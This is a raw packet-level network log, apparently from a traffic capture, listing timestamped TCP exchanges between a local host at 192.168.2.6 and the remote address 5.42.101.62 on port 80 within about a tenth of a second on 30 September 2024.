Sep 30, 2024 13:59:27.687297106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687326908 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687378883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687396049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687407017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687417030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687426090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687455893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687501907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687515020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687526941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687536001 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687546968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687561035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687567949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687578917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687578917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687588930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687598944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687609911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687618017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687637091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687648058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687664986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687676907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687686920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687697887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687716961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687741041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687788963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687799931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687810898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687822104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687829018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687833071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687844992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687845945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687855959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687870026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687896967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687930107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687941074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687951088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687963009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687972069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687973976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687984943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687984943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.688009024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.688010931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.688031912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.688035965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.688041925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.688052893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.688059092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.688071966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.688101053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.688852072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.688863993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.688874960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.688886881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.688895941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.688920975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.688978910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.688992977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689033031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689033031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689043999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689054966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689069986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689094067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689095974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689104080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689114094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689122915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689133883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689140081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689150095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689152002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689160109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689177036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689186096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689187050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689198017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689213037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689220905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689223051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689243078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689249039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689261913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689261913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689276934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689284086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689290047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689296007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689301014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689306974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689311028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689327955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689337969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689385891 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689397097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689408064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689415932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689435959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689454079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689651012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689661980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689673901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689702988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689726114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689732075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689745903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689759016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689770937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689785957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689811945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689838886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689850092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689866066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689877987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689888954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689896107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689901114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689912081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689912081 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689924955 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689954042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.689977884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689989090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.689999104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690010071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690021992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690026999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.690032959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690040112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.690046072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690054893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.690087080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.690109968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690121889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690131903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690141916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690149069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.690154076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690165997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690176010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.690201044 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.690212965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690251112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.690684080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690706968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690718889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690751076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.690823078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690834999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690845013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690855980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.690874100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.690903902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.777913094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.777941942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.777954102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778007984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778052092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778090954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778110027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778124094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778134108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778146029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778151035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778156996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778172970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778178930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778183937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778192997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778193951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778203964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778214931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778222084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778233051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778245926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778254032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778254986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778263092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778264999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778275967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778285980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778295040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778297901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778309107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778321028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778331995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778337002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778359890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778371096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778441906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778450966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778470039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778476954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778481007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778491020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778501034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778501987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778511047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778521061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778527021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778537035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778548002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778554916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778558969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778568029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778578997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778589010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778595924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778623104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778655052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778666019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778676987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778687954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778697968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778697968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778711081 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778738022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778760910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778775930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778795958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778795958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778805971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778819084 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778825998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778836012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778836012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778850079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778862953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778882027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778886080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778892994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778914928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778923988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778939009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.778945923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778959036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778969049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.778983116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779007912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779673100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779695988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779706955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779731989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779752970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779774904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779787064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779797077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779817104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779822111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779827118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779834986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779848099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779853106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779859066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779865980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779876947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779886961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779891014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779903889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779911995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779928923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779942036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779951096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779952049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779983997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.779985905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.779997110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780019045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780041933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780041933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780054092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780064106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780077934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780086994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780092955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780108929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780133963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780134916 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780144930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780154943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780174971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780193090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780203104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780215025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780225039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780235052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780246019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780246019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780272007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780286074 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780442953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780493975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780505896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780529022 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780549049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780551910 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780594110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780607939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780628920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780630112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780637980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780653954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780678034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780714989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780725956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780755043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780761003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780765057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780776978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780786991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780810118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780843973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780854940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780864954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780877113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780889988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780898094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780898094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780908108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780916929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780926943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780953884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.780966997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780977011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.780998945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.781023026 CEST	49721	80	192.168.2.6	5.42.101.62
